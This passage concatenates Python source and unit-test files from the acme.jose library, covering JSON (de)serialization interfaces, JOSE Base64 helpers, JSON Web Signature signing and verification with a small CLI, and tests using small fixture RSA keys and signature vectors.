    after reading the above, but in the light of those definitions, one
    can view :meth:`json.JSONDecoder.decode` as decoder and
    deserializer of basic types, :meth:`json.JSONEncoder.default` as
    serializer of basic types, :meth:`json.JSONEncoder.encode`  as
    serializer and encoder of basic types.

    One could extend :mod:`json` to support arbitrary object
    (de)serialization either by:

      - overriding :meth:`json.JSONDecoder.decode` and
        :meth:`json.JSONEncoder.default` in subclasses

      - or passing ``object_hook`` argument (or ``object_hook_pairs``)
        to :func:`json.load`/:func:`json.loads` or ``default`` argument
        for :func:`json.dump`/:func:`json.dumps`.

    Interestingly, ``default`` is required to perform only partial
    serialization, as :func:`json.dumps` applies ``default``
    recursively. This is the idea behind making :meth:`to_partial_json`
    produce only partial serialization, while providing custom
    :meth:`json_dumps` that dumps with ``default`` set to
    :meth:`json_dump_default`.

    To make further documentation a bit more concrete, please, consider
    the following imaginatory implementation example::

      class Foo(JSONDeSerializable):
          def to_partial_json(self):
              return 'foo'

          @classmethod
          def from_json(cls, jobj):
              return Foo()

      class Bar(JSONDeSerializable):
          def to_partial_json(self):
              return [Foo(), Foo()]

          @classmethod
          def from_json(cls, jobj):
              return Bar()

    """

    @abc.abstractmethod
    def to_partial_json(self):  # pragma: no cover
        """Partially serialize.

        Following the example, **partial serialization** means the following::

          assert isinstance(Bar().to_partial_json()[0], Foo)
          assert isinstance(Bar().to_partial_json()[1], Foo)

          # in particular...
          assert Bar().to_partial_json() != ['foo', 'foo']

        :raises acme.jose.errors.SerializationError:
            in case of any serialization error.
        :returns: Partially serializable object.

        """
        raise NotImplementedError()

    def to_json(self):
        """Fully serialize.

        Again, following the example from before, **full serialization**
        means the following::

          assert Bar().to_json() == ['foo', 'foo']

        :raises acme.jose.errors.SerializationError:
            in case of any serialization error.
        :returns: Fully serialized object.

        """
        def _serialize(obj):
            if isinstance(obj, JSONDeSerializable):
                return _serialize(obj.to_partial_json())
            if isinstance(obj, six.string_types):  # strings are Sequence
                return obj
            elif isinstance(obj, list):
                return [_serialize(subobj) for subobj in obj]
            elif isinstance(obj, collections.Sequence):
                # default to tuple, otherwise Mapping could get
                # unhashable list
                return tuple(_serialize(subobj) for subobj in obj)
            elif isinstance(obj, collections.Mapping):
                return dict((_serialize(key), _serialize(value))
                            for key, value in six.iteritems(obj))
            else:
                return obj

        return _serialize(self)

    @util.abstractclassmethod
    def from_json(cls, jobj):  # pylint: disable=unused-argument
        """Deserialize a decoded JSON document.

        :param jobj: Python object, composed of only other basic data
            types, as decoded from JSON document. Not necessarily
            :class:`dict` (as decoded from "JSON object" document).

        :raises acme.jose.errors.DeserializationError:
            if decoding was unsuccessful, e.g. in case of unparseable
            X509 certificate, or wrong padding in JOSE base64 encoded
            string, etc.

        """
        # TypeError: Can't instantiate abstract class <cls> with
        # abstract methods from_json, to_partial_json
        return cls()  # pylint: disable=abstract-class-instantiated

    @classmethod
    def json_loads(cls, json_string):
        """Deserialize from JSON document string."""
        try:
            loads = json.loads(json_string)
        except ValueError as error:
            raise errors.DeserializationError(error)
        return cls.from_json(loads)

    def json_dumps(self, **kwargs):
        """Dump to JSON string using proper serializer.

        :returns: JSON document string.
        :rtype: str

        """
        return json.dumps(self, default=self.json_dump_default, **kwargs)

    def json_dumps_pretty(self):
        """Dump the object to pretty JSON document string.

        :rtype: str

        """
        return self.json_dumps(sort_keys=True, indent=4, separators=(',', ': '))

    @classmethod
    def json_dump_default(cls, python_object):
        """Serialize Python object.

        This function is meant to be passed as ``default`` to
        :func:`json.dump` or :func:`json.dumps`. They call
        ``default(python_object)`` only for non-basic Python types, so
        this function necessarily raises :class:`TypeError` if
        ``python_object`` is not an instance of
        :class:`IJSONSerializable`.

        Please read the class docstring for more information.

        """
        if isinstance(python_object, JSONDeSerializable):
            return python_object.to_partial_json()
        else:  # this branch is necessary, cannot just "return"
            raise TypeError(repr(python_object) + ' is not JSON serializable')






"""Tests for acme.jose.errors."""
import unittest


class UnrecognizedTypeErrorTest(unittest.TestCase):
    def setUp(self):
        from acme.jose.errors import UnrecognizedTypeError
        self.error = UnrecognizedTypeError('foo', {'type': 'foo'})

    def test_str(self):
        self.assertEqual(
            "foo was not recognized, full message: {'type': 'foo'}",
            str(self.error))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for acme.jose.jwa."""
import unittest

from acme import test_util

from acme.jose import errors


RSA256_KEY = test_util.load_rsa_private_key('rsa256_key.pem')
RSA512_KEY = test_util.load_rsa_private_key('rsa512_key.pem')
RSA1024_KEY = test_util.load_rsa_private_key('rsa1024_key.pem')


class JWASignatureTest(unittest.TestCase):
    """Tests for acme.jose.jwa.JWASignature."""

    def setUp(self):
        from acme.jose.jwa import JWASignature

        class MockSig(JWASignature):
            # pylint: disable=missing-docstring,too-few-public-methods
            # pylint: disable=abstract-class-not-used
            def sign(self, key, msg):
                raise NotImplementedError()  # pragma: no cover

            def verify(self, key, msg, sig):
                raise NotImplementedError()  # pragma: no cover

        # pylint: disable=invalid-name
        self.Sig1 = MockSig('Sig1')
        self.Sig2 = MockSig('Sig2')

    def test_eq(self):
        self.assertEqual(self.Sig1, self.Sig1)

    def test_ne(self):
        self.assertNotEqual(self.Sig1, self.Sig2)

    def test_ne_other_type(self):
        self.assertNotEqual(self.Sig1, 5)

    def test_repr(self):
        self.assertEqual('Sig1', repr(self.Sig1))
        self.assertEqual('Sig2', repr(self.Sig2))

    def test_to_partial_json(self):
        self.assertEqual(self.Sig1.to_partial_json(), 'Sig1')
        self.assertEqual(self.Sig2.to_partial_json(), 'Sig2')

    def test_from_json(self):
        from acme.jose.jwa import JWASignature
        from acme.jose.jwa import RS256
        self.assertTrue(JWASignature.from_json('RS256') is RS256)


class JWAHSTest(unittest.TestCase):  # pylint: disable=too-few-public-methods

    def test_it(self):
        from acme.jose.jwa import HS256
        sig = (
            b"\xceR\xea\xcd\x94\xab\xcf\xfb\xe0\xacA.:\x1a'\x08i\xe2\xc4"
            b"\r\x85+\x0e\x85\xaeUZ\xd4\xb3\x97zO"
        )
        self.assertEqual(HS256.sign(b'some key', b'foo'), sig)
        self.assertTrue(HS256.verify(b'some key', b'foo', sig) is True)
        self.assertTrue(HS256.verify(b'some key', b'foo', sig + b'!') is False)


class JWARSTest(unittest.TestCase):

    def test_sign_no_private_part(self):
        from acme.jose.jwa import RS256
        self.assertRaises(
            errors.Error, RS256.sign, RSA512_KEY.public_key(), b'foo')

    def test_sign_key_too_small(self):
        from acme.jose.jwa import RS256
        from acme.jose.jwa import PS256
        self.assertRaises(errors.Error, RS256.sign, RSA256_KEY, b'foo')
        self.assertRaises(errors.Error, PS256.sign, RSA256_KEY, b'foo')

    def test_rs(self):
        from acme.jose.jwa import RS256
        sig = (
            b'|\xc6\xb2\xa4\xab(\x87\x99\xfa*:\xea\xf8\xa0N&}\x9f\x0f\xc0O'
            b'\xc6t\xa3\xe6\xfa\xbb"\x15Y\x80Y\xe0\x81\xb8\x88)\xba\x0c\x9c'
            b'\xa4\x99\x1e\x19&\xd8\xc7\x99S\x97\xfc\x85\x0cOV\xe6\x07\x99'
            b'\xd2\xb9.>}\xfd'
        )
        self.assertEqual(RS256.sign(RSA512_KEY, b'foo'), sig)
        self.assertTrue(RS256.verify(RSA512_KEY.public_key(), b'foo', sig))
        self.assertFalse(RS256.verify(
            RSA512_KEY.public_key(), b'foo', sig + b'!'))

    def test_ps(self):
        from acme.jose.jwa import PS256
        sig = PS256.sign(RSA1024_KEY, b'foo')
        self.assertTrue(PS256.verify(RSA1024_KEY.public_key(), b'foo', sig))
        self.assertFalse(PS256.verify(
            RSA1024_KEY.public_key(), b'foo', sig + b'!'))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for acme.jose.b64."""
import unittest

import six


# https://en.wikipedia.org/wiki/Base64#Examples
B64_PADDING_EXAMPLES = {
    b'any carnal pleasure.': (b'YW55IGNhcm5hbCBwbGVhc3VyZS4', b'='),
    b'any carnal pleasure': (b'YW55IGNhcm5hbCBwbGVhc3VyZQ', b'=='),
    b'any carnal pleasur': (b'YW55IGNhcm5hbCBwbGVhc3Vy', b''),
    b'any carnal pleasu': (b'YW55IGNhcm5hbCBwbGVhc3U', b'='),
    b'any carnal pleas': (b'YW55IGNhcm5hbCBwbGVhcw', b'=='),
}


B64_URL_UNSAFE_EXAMPLES = {
    six.int2byte(251) + six.int2byte(239): b'--8',
    six.int2byte(255) * 2: b'__8',
}


class B64EncodeTest(unittest.TestCase):
    """Tests for acme.jose.b64.b64encode."""

    @classmethod
    def _call(cls, data):
        from acme.jose.b64 import b64encode
        return b64encode(data)

    def test_empty(self):
        self.assertEqual(self._call(b''), b'')

    def test_unsafe_url(self):
        for text, b64 in six.iteritems(B64_URL_UNSAFE_EXAMPLES):
            self.assertEqual(self._call(text), b64)

    def test_different_paddings(self):
        for text, (b64, _) in six.iteritems(B64_PADDING_EXAMPLES):
            self.assertEqual(self._call(text), b64)

    def test_unicode_fails_with_type_error(self):
        self.assertRaises(TypeError, self._call, u'some unicode')


class B64DecodeTest(unittest.TestCase):
    """Tests for acme.jose.b64.b64decode."""

    @classmethod
    def _call(cls, data):
        from acme.jose.b64 import b64decode
        return b64decode(data)

    def test_unsafe_url(self):
        for text, b64 in six.iteritems(B64_URL_UNSAFE_EXAMPLES):
            self.assertEqual(self._call(b64), text)

    def test_input_without_padding(self):
        for text, (b64, _) in six.iteritems(B64_PADDING_EXAMPLES):
            self.assertEqual(self._call(b64), text)

    def test_input_with_padding(self):
        for text, (b64, pad) in six.iteritems(B64_PADDING_EXAMPLES):
            self.assertEqual(self._call(b64 + pad), text)

    def test_unicode_with_ascii(self):
        self.assertEqual(self._call(u'YQ'), b'a')

    def test_non_ascii_unicode_fails(self):
        self.assertRaises(ValueError, self._call, u'\u0105')

    def test_type_error_no_unicode_or_bytes(self):
        self.assertRaises(TypeError, self._call, object())


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""JOSE Base64.

`JOSE Base64`_ is defined as:

  - URL-safe Base64
  - padding stripped


.. _`JOSE Base64`:
    https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-37#appendix-C

.. Do NOT try to call this module "base64", as it will "shadow" the
   standard library.

"""
import base64

import six


def b64encode(data):
    """JOSE Base64 encode.

    :param data: Data to be encoded.
    :type data: `bytes`

    :returns: JOSE Base64 string.
    :rtype: bytes

    :raises TypeError: if `data` is of incorrect type

    """
    if not isinstance(data, six.binary_type):
        raise TypeError('argument should be {0}'.format(six.binary_type))
    return base64.urlsafe_b64encode(data).rstrip(b'=')


def b64decode(data):
    """JOSE Base64 decode.

    :param data: Base64 string to be decoded. If it's unicode, then
                 only ASCII characters are allowed.
    :type data: `bytes` or `unicode`

    :returns: Decoded data.
    :rtype: bytes

    :raises TypeError: if input is of incorrect type
    :raises ValueError: if input is unicode with non-ASCII characters

    """
    if isinstance(data, six.string_types):
        try:
            data = data.encode('ascii')
        except UnicodeEncodeError:
            raise ValueError(
                'unicode argument should contain only ASCII characters')
    elif not isinstance(data, six.binary_type):
        raise TypeError('argument should be a str or unicode')

    return base64.urlsafe_b64decode(data + b'=' * (4 - (len(data) % 4)))






"""Javascript Object Signing and Encryption (jose).

This package is a Python implementation of the stadards developed by
IETF `Javascript Object Signing and Encryption (Active WG)`_, in
particular the following RFCs:

  - `JSON Web Algorithms (JWA)`_
  - `JSON Web Key (JWK)`_
  - `JSON Web Signature (JWS)`_


.. _`Javascript Object Signing and Encryption (Active WG)`:
  https://tools.ietf.org/wg/jose/

.. _`JSON Web Algorithms (JWA)`:
  https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-algorithms/

.. _`JSON Web Key (JWK)`:
  https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-key/

.. _`JSON Web Signature (JWS)`:
  https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-signature/

"""
from acme.jose.b64 import (
    b64decode,
    b64encode,
)

from acme.jose.errors import (
    DeserializationError,
    SerializationError,
    Error,
    UnrecognizedTypeError,
)

from acme.jose.interfaces import JSONDeSerializable

from acme.jose.json_util import (
    Field,
    JSONObjectWithFields,
    TypedJSONObjectWithFields,
    decode_b64jose,
    decode_cert,
    decode_csr,
    decode_hex16,
    encode_b64jose,
    encode_cert,
    encode_csr,
    encode_hex16,
)

from acme.jose.jwa import (
    HS256,
    HS384,
    HS512,
    JWASignature,
    PS256,
    PS384,
    PS512,
    RS256,
    RS384,
    RS512,
)

from acme.jose.jwk import (
    JWK,
    JWKRSA,
)

from acme.jose.jws import (
    Header,
    JWS,
    Signature,
)

from acme.jose.util import (
    ComparableX509,
    ComparableKey,
    ComparableRSAKey,
    ImmutableMap,
)






"""JOSE Web Signature."""
import argparse
import base64
import sys

import OpenSSL
import six

from acme.jose import b64
from acme.jose import errors
from acme.jose import json_util
from acme.jose import jwa
from acme.jose import jwk
from acme.jose import util


class MediaType(object):
    """MediaType field encoder/decoder."""

    PREFIX = 'application/'
    """MIME Media Type and Content Type prefix."""

    @classmethod
    def decode(cls, value):
        """Decoder."""
        # 4.1.10
        if '/' not in value:
            if ';' in value:
                raise errors.DeserializationError('Unexpected semi-colon')
            return cls.PREFIX + value
        return value

    @classmethod
    def encode(cls, value):
        """Encoder."""
        # 4.1.10
        if ';' not in value:
            assert value.startswith(cls.PREFIX)
            return value[len(cls.PREFIX):]
        return value


class Header(json_util.JSONObjectWithFields):
    """JOSE Header.

    .. warning:: This class supports **only** Registered Header
        Parameter Names (as defined in section 4.1 of the
        protocol). If you need Public Header Parameter Names (4.2)
        or Private Header Parameter Names (4.3), you must subclass
        and override :meth:`from_json` and :meth:`to_partial_json`
        appropriately.

    .. warning:: This class does not support any extensions through
        the "crit" (Critical) Header Parameter (4.1.11) and as a
        conforming implementation, :meth:`from_json` treats its
        occurrence as an error. Please subclass if you seek for
        a different behaviour.

    :ivar x5tS256: "x5t#S256"
    :ivar str typ: MIME Media Type, inc. :const:`MediaType.PREFIX`.
    :ivar str cty: Content-Type, inc. :const:`MediaType.PREFIX`.

    """
    alg = json_util.Field(
        'alg', decoder=jwa.JWASignature.from_json, omitempty=True)
    jku = json_util.Field('jku', omitempty=True)
    jwk = json_util.Field('jwk', decoder=jwk.JWK.from_json, omitempty=True)
    kid = json_util.Field('kid', omitempty=True)
    x5u = json_util.Field('x5u', omitempty=True)
    x5c = json_util.Field('x5c', omitempty=True, default=())
    x5t = json_util.Field(
        'x5t', decoder=json_util.decode_b64jose, omitempty=True)
    x5tS256 = json_util.Field(
        'x5t#S256', decoder=json_util.decode_b64jose, omitempty=True)
    typ = json_util.Field('typ', encoder=MediaType.encode,
                          decoder=MediaType.decode, omitempty=True)
    cty = json_util.Field('cty', encoder=MediaType.encode,
                          decoder=MediaType.decode, omitempty=True)
    crit = json_util.Field('crit', omitempty=True, default=())

    def not_omitted(self):
        """Fields that would not be omitted in the JSON object."""
        return dict((name, getattr(self, name))
                    for name, field in six.iteritems(self._fields)
                    if not field.omit(getattr(self, name)))

    def __add__(self, other):
        if not isinstance(other, type(self)):
            raise TypeError('Header cannot be added to: {0}'.format(
                type(other)))

        not_omitted_self = self.not_omitted()
        not_omitted_other = other.not_omitted()

        if set(not_omitted_self).intersection(not_omitted_other):
            raise TypeError('Addition of overlapping headers not defined')

        not_omitted_self.update(not_omitted_other)
        return type(self)(**not_omitted_self)  # pylint: disable=star-args

    def find_key(self):
        """Find key based on header.

        .. todo:: Supports only "jwk" header parameter lookup.

        :returns: (Public) key found in the header.
        :rtype: .JWK

        :raises acme.jose.errors.Error: if key could not be found

        """
        if self.jwk is None:
            raise errors.Error('No key found')
        return self.jwk

    @crit.decoder
    def crit(unused_value):
        # pylint: disable=missing-docstring,no-self-argument,no-self-use
        raise errors.DeserializationError(
            '"crit" is not supported, please subclass')

    # x5c does NOT use JOSE Base64 (4.1.6)

    @x5c.encoder
    def x5c(value):  # pylint: disable=missing-docstring,no-self-argument
        return [base64.b64encode(OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_ASN1, cert.wrapped)) for cert in value]

    @x5c.decoder
    def x5c(value):  # pylint: disable=missing-docstring,no-self-argument
        try:
            return tuple(util.ComparableX509(OpenSSL.crypto.load_certificate(
                OpenSSL.crypto.FILETYPE_ASN1,
                base64.b64decode(cert))) for cert in value)
        except OpenSSL.crypto.Error as error:
            raise errors.DeserializationError(error)


class Signature(json_util.JSONObjectWithFields):
    """JWS Signature.

    :ivar combined: Combined Header (protected and unprotected,
        :class:`Header`).
    :ivar unicode protected: JWS protected header (Jose Base-64 decoded).
    :ivar header: JWS Unprotected Header (:class:`Header`).
    :ivar str signature: The signature.

    """
    header_cls = Header

    __slots__ = ('combined',)
    protected = json_util.Field('protected', omitempty=True, default='')
    header = json_util.Field(
        'header', omitempty=True, default=header_cls(),
        decoder=header_cls.from_json)
    signature = json_util.Field(
        'signature', decoder=json_util.decode_b64jose,
        encoder=json_util.encode_b64jose)

    @protected.encoder
    def protected(value):  # pylint: disable=missing-docstring,no-self-argument
        # wrong type guess (Signature, not bytes) | pylint: disable=no-member
        return json_util.encode_b64jose(value.encode('utf-8'))

    @protected.decoder
    def protected(value):  # pylint: disable=missing-docstring,no-self-argument
        return json_util.decode_b64jose(value).decode('utf-8')

    def __init__(self, **kwargs):
        if 'combined' not in kwargs:
            kwargs = self._with_combined(kwargs)
        super(Signature, self).__init__(**kwargs)
        assert self.combined.alg is not None

    @classmethod
    def _with_combined(cls, kwargs):
        assert 'combined' not in kwargs
        header = kwargs.get('header', cls._fields['header'].default)
        protected = kwargs.get('protected', cls._fields['protected'].default)

        if protected:
            combined = header + cls.header_cls.json_loads(protected)
        else:
            combined = header

        kwargs['combined'] = combined
        return kwargs

    @classmethod
    def _msg(cls, protected, payload):
        return (b64.b64encode(protected.encode('utf-8')) + b'.' +
                b64.b64encode(payload))

    def verify(self, payload, key=None):
        """Verify.

        :param JWK key: Key used for verification.

        """
        key = self.combined.find_key() if key is None else key
        return self.combined.alg.verify(
            key=key.key, sig=self.signature,
            msg=self._msg(self.protected, payload))

    @classmethod
    def sign(cls, payload, key, alg, include_jwk=True,
             protect=frozenset(), **kwargs):
        """Sign.

        :param JWK key: Key for signature.

        """
        assert isinstance(key, alg.kty)

        header_params = kwargs
        header_params['alg'] = alg
        if include_jwk:
            header_params['jwk'] = key.public_key()

        assert set(header_params).issubset(cls.header_cls._fields)
        assert protect.issubset(cls.header_cls._fields)

        protected_params = {}
        for header in protect:
            protected_params[header] = header_params.pop(header)
        if protected_params:
            # pylint: disable=star-args
            protected = cls.header_cls(**protected_params).json_dumps()
        else:
            protected = ''

        header = cls.header_cls(**header_params)  # pylint: disable=star-args
        signature = alg.sign(key.key, cls._msg(protected, payload))

        return cls(protected=protected, header=header, signature=signature)

    def fields_to_partial_json(self):
        fields = super(Signature, self).fields_to_partial_json()
        if not fields['header'].not_omitted():
            del fields['header']
        return fields

    @classmethod
    def fields_from_json(cls, jobj):
        fields = super(Signature, cls).fields_from_json(jobj)
        fields_with_combined = cls._with_combined(fields)
        if 'alg' not in fields_with_combined['combined'].not_omitted():
            raise errors.DeserializationError('alg not present')
        return fields_with_combined


class JWS(json_util.JSONObjectWithFields):
    """JSON Web Signature.

    :ivar str payload: JWS Payload.
    :ivar str signature: JWS Signatures.

    """
    __slots__ = ('payload', 'signatures')

    signature_cls = Signature

    def verify(self, key=None):
        """Verify."""
        return all(sig.verify(self.payload, key) for sig in self.signatures)

    @classmethod
    def sign(cls, payload, **kwargs):
        """Sign."""
        return cls(payload=payload, signatures=(
            cls.signature_cls.sign(payload=payload, **kwargs),))

    @property
    def signature(self):
        """Get a singleton signature.

        :rtype: `signature_cls`

        """
        assert len(self.signatures) == 1
        return self.signatures[0]

    def to_compact(self):
        """Compact serialization.

        :rtype: bytes

        """
        assert len(self.signatures) == 1

        assert 'alg' not in self.signature.header.not_omitted()
        # ... it must be in protected

        return (
            b64.b64encode(self.signature.protected.encode('utf-8')) +
            b'.' +
            b64.b64encode(self.payload) +
            b'.' +
            b64.b64encode(self.signature.signature))

    @classmethod
    def from_compact(cls, compact):
        """Compact deserialization.

        :param bytes compact:

        """
        try:
            protected, payload, signature = compact.split(b'.')
        except ValueError:
            raise errors.DeserializationError(
                'Compact JWS serialization should comprise of exactly'
                ' 3 dot-separated components')

        sig = cls.signature_cls(
            protected=b64.b64decode(protected).decode('utf-8'),
            signature=b64.b64decode(signature))
        return cls(payload=b64.b64decode(payload), signatures=(sig,))

    def to_partial_json(self, flat=True):  # pylint: disable=arguments-differ
        assert self.signatures
        payload = json_util.encode_b64jose(self.payload)

        if flat and len(self.signatures) == 1:
            ret = self.signatures[0].to_partial_json()
            ret['payload'] = payload
            return ret
        else:
            return {
                'payload': payload,
                'signatures': self.signatures,
            }

    @classmethod
    def from_json(cls, jobj):
        if 'signature' in jobj and 'signatures' in jobj:
            raise errors.DeserializationError('Flat mixed with non-flat')
        elif 'signature' in jobj:  # flat
            return cls(payload=json_util.decode_b64jose(jobj.pop('payload')),
                       signatures=(cls.signature_cls.from_json(jobj),))
        else:
            return cls(payload=json_util.decode_b64jose(jobj['payload']),
                       signatures=tuple(cls.signature_cls.from_json(sig)
                                        for sig in jobj['signatures']))


class CLI(object):
    """JWS CLI."""

    @classmethod
    def sign(cls, args):
        """Sign."""
        key = args.alg.kty.load(args.key.read())
        args.key.close()
        if args.protect is None:
            args.protect = []
        if args.compact:
            args.protect.append('alg')

        sig = JWS.sign(payload=sys.stdin.read().encode(), key=key, alg=args.alg,
                       protect=set(args.protect))

        if args.compact:
            six.print_(sig.to_compact().decode('utf-8'))
        else:  # JSON
            six.print_(sig.json_dumps_pretty())

    @classmethod
    def verify(cls, args):
        """Verify."""
        if args.compact:
            sig = JWS.from_compact(sys.stdin.read().encode())
        else:  # JSON
            try:
                sig = JWS.json_loads(sys.stdin.read())
            except errors.Error as error:
                six.print_(error)
                return -1

        if args.key is not None:
            assert args.kty is not None
            key = args.kty.load(args.key.read()).public_key()
            args.key.close()
        else:
            key = None

        sys.stdout.write(sig.payload)
        return not sig.verify(key=key)

    @classmethod
    def _alg_type(cls, arg):
        return jwa.JWASignature.from_json(arg)

    @classmethod
    def _header_type(cls, arg):
        assert arg in Signature.header_cls._fields
        return arg

    @classmethod
    def _kty_type(cls, arg):
        assert arg in jwk.JWK.TYPES
        return jwk.JWK.TYPES[arg]

    @classmethod
    def run(cls, args=sys.argv[1:]):
        """Parse arguments and sign/verify."""
        parser = argparse.ArgumentParser()
        parser.add_argument('--compact', action='store_true')

        subparsers = parser.add_subparsers()
        parser_sign = subparsers.add_parser('sign')
        parser_sign.set_defaults(func=cls.sign)
        parser_sign.add_argument(
            '-k', '--key', type=argparse.FileType('rb'), required=True)
        parser_sign.add_argument(
            '-a', '--alg', type=cls._alg_type, default=jwa.RS256)
        parser_sign.add_argument(
            '-p', '--protect', action='append', type=cls._header_type)

        parser_verify = subparsers.add_parser('verify')
        parser_verify.set_defaults(func=cls.verify)
        parser_verify.add_argument(
            '-k', '--key', type=argparse.FileType('rb'), required=False)
        parser_verify.add_argument(
            '--kty', type=cls._kty_type, required=False)

        parsed = parser.parse_args(args)
        return parsed.func(parsed)


if __name__ == '__main__':
    exit(CLI.run())  # pragma: no cover






"""Tests for acme.jose.interfaces."""
import unittest


class JSONDeSerializableTest(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes

    def setUp(self):
        from acme.jose.interfaces import JSONDeSerializable

        # pylint: disable=missing-docstring,invalid-name

        class Basic(JSONDeSerializable):
            def __init__(self, v):
                self.v = v

            def to_partial_json(self):
                return self.v

            @classmethod
            def from_json(cls, jobj):
                return cls(jobj)

        class Sequence(JSONDeSerializable):
            def __init__(self, x, y):
                self.x = x
                self.y = y

            def to_partial_json(self):
                return [self.x, self.y]

            @classmethod
            def from_json(cls, jobj):
                return cls(
                    Basic.from_json(jobj[0]), Basic.from_json(jobj[1]))

        class Mapping(JSONDeSerializable):
            def __init__(self, x, y):
                self.x = x
                self.y = y

            def to_partial_json(self):
                return {self.x: self.y}

            @classmethod
            def from_json(cls, jobj):
                pass  # pragma: no cover

        self.basic1 = Basic('foo1')
        self.basic2 = Basic('foo2')
        self.seq = Sequence(self.basic1, self.basic2)
        self.mapping = Mapping(self.basic1, self.basic2)
        self.nested = Basic([[self.basic1]])
        self.tuple = Basic(('foo',))

        # pylint: disable=invalid-name
        self.Basic = Basic
        self.Sequence = Sequence
        self.Mapping = Mapping

    def test_to_json_sequence(self):
        self.assertEqual(self.seq.to_json(), ['foo1', 'foo2'])

    def test_to_json_mapping(self):
        self.assertEqual(self.mapping.to_json(), {'foo1': 'foo2'})

    def test_to_json_other(self):
        mock_value = object()
        self.assertTrue(self.Basic(mock_value).to_json() is mock_value)

    def test_to_json_nested(self):
        self.assertEqual(self.nested.to_json(), [['foo1']])

    def test_to_json(self):
        self.assertEqual(self.tuple.to_json(), (('foo', )))

    def test_from_json_not_implemented(self):
        from acme.jose.interfaces import JSONDeSerializable
        self.assertRaises(TypeError, JSONDeSerializable.from_json, 'xxx')

    def test_json_loads(self):
        seq = self.Sequence.json_loads('["foo1", "foo2"]')
        self.assertTrue(isinstance(seq, self.Sequence))
        self.assertTrue(isinstance(seq.x, self.Basic))
        self.assertTrue(isinstance(seq.y, self.Basic))
        self.assertEqual(seq.x.v, 'foo1')
        self.assertEqual(seq.y.v, 'foo2')

    def test_json_dumps(self):
        self.assertEqual('["foo1", "foo2"]', self.seq.json_dumps())

    def test_json_dumps_pretty(self):
        self.assertEqual(self.seq.json_dumps_pretty(),
                         '[\n    "foo1",\n    "foo2"\n]')

    def test_json_dump_default(self):
        from acme.jose.interfaces import JSONDeSerializable

        self.assertEqual(
            'foo1', JSONDeSerializable.json_dump_default(self.basic1))

        jobj = JSONDeSerializable.json_dump_default(self.seq)
        self.assertEqual(len(jobj), 2)
        self.assertTrue(jobj[0] is self.basic1)
        self.assertTrue(jobj[1] is self.basic2)

    def test_json_dump_default_type_error(self):
        from acme.jose.interfaces import JSONDeSerializable
        self.assertRaises(
            TypeError, JSONDeSerializable.json_dump_default, object())


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for acme.jose.jwk."""
import binascii
import unittest

from acme import test_util

from acme.jose import errors
from acme.jose import json_util
from acme.jose import util


DSA_PEM = test_util.load_vector('dsa512_key.pem')
RSA256_KEY = test_util.load_rsa_private_key('rsa256_key.pem')
RSA512_KEY = test_util.load_rsa_private_key('rsa512_key.pem')


class JWKTest(unittest.TestCase):
    """Tests for acme.jose.jwk.JWK."""

    def test_load(self):
        from acme.jose.jwk import JWK
        self.assertRaises(errors.Error, JWK.load, DSA_PEM)

    def test_load_subclass_wrong_type(self):
        from acme.jose.jwk import JWKRSA
        self.assertRaises(errors.Error, JWKRSA.load, DSA_PEM)


class JWKTestBaseMixin(object):
    """Mixin test for JWK subclass tests."""

    thumbprint = NotImplemented

    def test_thumbprint_private(self):
        self.assertEqual(self.thumbprint, self.jwk.thumbprint())

    def test_thumbprint_public(self):
        self.assertEqual(self.thumbprint, self.jwk.public_key().thumbprint())


class JWKOctTest(unittest.TestCase, JWKTestBaseMixin):
    """Tests for acme.jose.jwk.JWKOct."""

    thumbprint = (b"\xf3\xe7\xbe\xa8`\xd2\xdap\xe9}\x9c\xce>"
                  b"\xd0\xfcI\xbe\xcd\x92'\xd4o\x0e\xf41\xea"
                  b"\x8e(\x8a\xb2i\x1c")

    def setUp(self):
        from acme.jose.jwk import JWKOct
        self.jwk = JWKOct(key=b'foo')
        self.jobj = {'kty': 'oct', 'k': json_util.encode_b64jose(b'foo')}

    def test_to_partial_json(self):
        self.assertEqual(self.jwk.to_partial_json(), self.jobj)

    def test_from_json(self):
        from acme.jose.jwk import JWKOct
        self.assertEqual(self.jwk, JWKOct.from_json(self.jobj))

    def test_from_json_hashable(self):
        from acme.jose.jwk import JWKOct
        hash(JWKOct.from_json(self.jobj))

    def test_load(self):
        from acme.jose.jwk import JWKOct
        self.assertEqual(self.jwk, JWKOct.load(b'foo'))

    def test_public_key(self):
        self.assertTrue(self.jwk.public_key() is self.jwk)


class JWKRSATest(unittest.TestCase, JWKTestBaseMixin):
    """Tests for acme.jose.jwk.JWKRSA."""
    # pylint: disable=too-many-instance-attributes

    thumbprint = (b'\x83K\xdc#3\x98\xca\x98\xed\xcb\x80\x80<\x0c'
                  b'\xf0\x95\xb9H\xb2*l\xbd$\xe5&|O\x91\xd4 \xb0Y')

    def setUp(self):
        from acme.jose.jwk import JWKRSA
        self.jwk256 = JWKRSA(key=RSA256_KEY.public_key())
        self.jwk256json = {
            'kty': 'RSA',
            'e': 'AQAB',
            'n': 'm2Fylv-Uz7trgTW8EBHP3FQSMeZs2GNQ6VRo1sIVJEk',
        }
        # pylint: disable=protected-access
        self.jwk256_not_comparable = JWKRSA(
            key=RSA256_KEY.public_key()._wrapped)
        self.jwk512 = JWKRSA(key=RSA512_KEY.public_key())
        self.jwk512json = {
            'kty': 'RSA',
            'e': 'AQAB',
            'n': 'rHVztFHtH92ucFJD_N_HW9AsdRsUuHUBBBDlHwNlRd3fp5'
                 '80rv2-6QWE30cWgdmJS86ObRz6lUTor4R0T-3C5Q',
        }
        self.private = JWKRSA(key=RSA256_KEY)
        self.private_json_small = self.jwk256json.copy()
        self.private_json_small['d'] = (
            'lPQED_EPTV0UIBfNI3KP2d9Jlrc2mrMllmf946bu-CE')
        self.private_json = self.jwk256json.copy()
        self.private_json.update({
            'd': 'lPQED_EPTV0UIBfNI3KP2d9Jlrc2mrMllmf946bu-CE',
            'p': 'zUVNZn4lLLBD1R6NE8TKNQ',
            'q': 'wcfKfc7kl5jfqXArCRSURQ',
            'dp': 'CWJFq43QvT5Bm5iN8n1okQ',
